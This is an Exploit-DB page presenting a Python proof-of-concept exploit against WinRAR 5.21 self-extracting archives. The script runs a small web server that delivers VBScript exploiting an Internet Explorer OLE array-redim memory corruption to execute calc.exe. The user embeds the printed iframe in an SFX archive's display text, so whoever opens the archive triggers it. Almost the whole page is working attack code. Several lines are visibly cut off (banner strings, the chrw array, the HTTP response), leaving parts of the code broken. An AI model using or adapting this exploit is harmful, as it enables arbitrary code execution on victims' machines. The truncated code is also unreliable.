

# WinRAR 5.21 - SFX OLE Command Execution

<b>EDB-ID:</b> 38319	<b>CVE:</b> N/A	<b>OSVDB-ID:</b> N/A
<b>Verified:</b> ✕	<b>Author:</b> <a href="https://www.exploit-db.com/author/?a=7814">R-73eN</a> (https://www.exploit-db.com/author/?a=7814)	<b>Published:</b> 2015-09-25
<b>Download Exploit:</b> <a href="#">📄 Source</a> (/download/38319) <a href="#">📄 Raw</a>	<b>Download Vulnerable App:</b> <a href="#">📄</a> (/apps/8bf5d9768ca315edcec9cdd27ebc09d1-wrar521.exe)	

« [Previous Exploit](https://www.exploit-db.com/exploits/38318/) (https://www.exploit-db.com/exploits/38318/)

[Next Exploit](https://www.exploit-db.com/exploits/38320/) » (https://www.exploit-db.com/exploits/38320/)

```

1  #!/usr/bin/python -w
2  # Title : WinRAR SFX OLE Command Execution
3  # Date : 25/09/2015
4  # Author : R-73eN
5  # Tested on : Windows Xp SP3 with WinRAR 5.21
6  #
7  # Triggering the Vulnerability
8  # Run this python script
9  # Right click a file and then click on add to archive.
10 # check the 'Create SFX archive' box
11 # go to Advanced tab
12 # go to SFX options
13 # go to Text And icon
14 # copy the code that the script will generate to 'Text to display into sfx
15 # Click OK two times and the sfx archive is generated.
16 # If someone opens that sfx archive a calculator should pop up.
17 #
18 # Video : https://youtu.be/vIslLJYvnaM
19 #
20
21 banner = ""
22 banner += "\n"
23 banner += "
24 banner += "
25 banner += "
26 banner += "
27 print banner
28
29 import socket
30
31 CRLF = "\r\n"
32 #OLE command execution
33 exploit = ""<html>
34 <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >

```

```
35 <head>
36 </head>
37 <body>
38
39 <SCRIPT LANGUAGE="VBScript">
40
41 function runmumaa()
42 On Error Resume Next
43 set shell=createobject("Shell.Application")
44 shell.ShellExecute "calc.exe", "runas", 0
45 end function
46 </script>
47
48 <SCRIPT LANGUAGE="VBScript">
49
50 dim aa()
51 dim ab()
52 dim a0
53 dim a1
54 dim a2
55 dim a3
56 dim win9x
57 dim intVersion
58 dim rnda
59 dim funclass
60 dim myarray
61
62 Begin()
63
64 function Begin()
65 On Error Resume Next
66 info=Navigator.UserAgent
67
68 if(instr(info,"Win64")>0) then
69 exit function
70 end if
71
72 if (instr(info,"MSIE")>0) then
73 intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
74 else
75 exit function
76
77 end if
78
79 win9x=0
80
81 BeginInit()
82 If Create()=True Then
83 myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(0
84 myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
85
86 if(intVersion<4) then
87 document.write("<br> IE")
88 document.write(intVersion)
89 runshellcode()
90 else
91 setnotsafemode()
92 end if
93 end if
94 end function
95
96 function BeginInit()
97 Randomize()
98 redim aa(5)
99 redim ab(5)
```

```
100     a0=13+17*rnd(6)
101     a3=7+3*rnd(5)
102 end function
103
104 function Create()
105     On Error Resume Next
106     dim i
107     Create=False
108     For i = 0 To 400
109         If Over()=True Then
110             Create=True
111             Exit For
112         End If
113     Next
114 end function
115
116 sub testaa()
117 end sub
118
119 function mydata()
120     On Error Resume Next
121     i=testaa
122     i=null
123     redim Preserve aa(a2)
124
125     ab(0)=0
126     aa(a1)=i
127     ab(0)=6.36598737437801E-314
128
129     aa(a1+2)=myarray
130     ab(2)=1.74088534731324E-310
131     mydata=aa(a1)
132     redim Preserve aa(a0)
133 end function
134
135
136 function setnotsafemode()
137     On Error Resume Next
138     i=mydata()
139     i=rnd(i+8)
140     i=rnd(i+16)
141     j=rnd(i+&h134)
142     for k=0 to &h60 step 4
143         j=rnd(i+&h120+k)
144         if(j=14) then
145             j=0
146             redim Preserve aa(a2)
147             aa(a1+2)(i+&h11c+k)=ab(4)
148             redim Preserve aa(a0)
149
150             j=0
151             j=rnd(i+&h120+k)
152
153             Exit for
154         end if
155     next
156     ab(2)=1.69759663316747E-313
157     runmumaa()
158 end function
159
160
161 function Over()
162     On Error Resume Next
163     dim type1,type2,type3
164     Over=False
```

```
165     a0=a0+a3
166     a1=a0+2
167     a2=a0+&h8000000
168
169     redim Preserve aa(a0)
170     redim ab(a0)
171
172     redim Preserve aa(a2)
173
174     type1=1
175     ab(0)=1.123456789012345678901234567890
176     aa(a0)=10
177
178     If(IsObject(aa(a1-1)) = False) Then
179         if(intVersion<4) then
180             mem=cint(a0+1)*16
181             j=vartype(aa(a1-1))
182             if((j=mem+4) or (j*8=mem+8)) then
183                 if(vartype(aa(a1-1))<>0) Then
184                     If(IsObject(aa(a1)) = False ) Then
185                         type1=VarType(aa(a1))
186                     end if
187                 end if
188             else
189                 redim Preserve aa(a0)
190                 exit function
191             end if
192         else
193             if(vartype(aa(a1-1))<>0) Then
194                 If(IsObject(aa(a1)) = False ) Then
195                     type1=VarType(aa(a1))
196                 end if
197             end if
198         end if
199     end if
200 end if
201
202
203     If(type1=&h2f66) Then
204         Over=True
205     End If
206     If(type1=&hB9AD) Then
207         Over=True
208         win9x=1
209     End If
210
211     redim Preserve aa(a0)
212
213 end function
214
215 function rum(add)
216     On Error Resume Next
217     redim Preserve aa(a2)
218
219     ab(0)=0
220     aa(a1)=add+4
221     ab(0)=1.69759663316747E-313
222     rum=lenb(aa(a1))
223
224     ab(0)=0
225     redim Preserve aa(a0)
226 end function
227
228 </script>
229
```

```
230 </body>
231 </html>""
232 response = "HTTP/1.1 200 OK" + CRLF + "Content-Type: text/html" + CRLF + "(
233 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
234 host = raw_input(" Enter Local IP: ")
235 server_address = (host, 8080)
236 sock.bind(server_address)
237 print "[+] Server started " + host + " [+]"
238 sock.listen(1)
239 print "[+] Insert this code on the 'Text to display into sfx windows' [+]"
240 print "\n<iframe src='http://" + host + ":8080/'> </iframe>"
241 print "\n[+] Waiting for request . . . [+]"
242 connection, client_address = sock.accept()
243 while True:
244     connection.recv(2048)
245     print "[+] Got request , sending exploit . . .[+]"
246     connection.send(exploit)
247     print "[+] Exploit sent , A calc should pop up . . [+]"
248     print "\nhhttps://www.infogen.al/\n"
249     exit(0)
```

---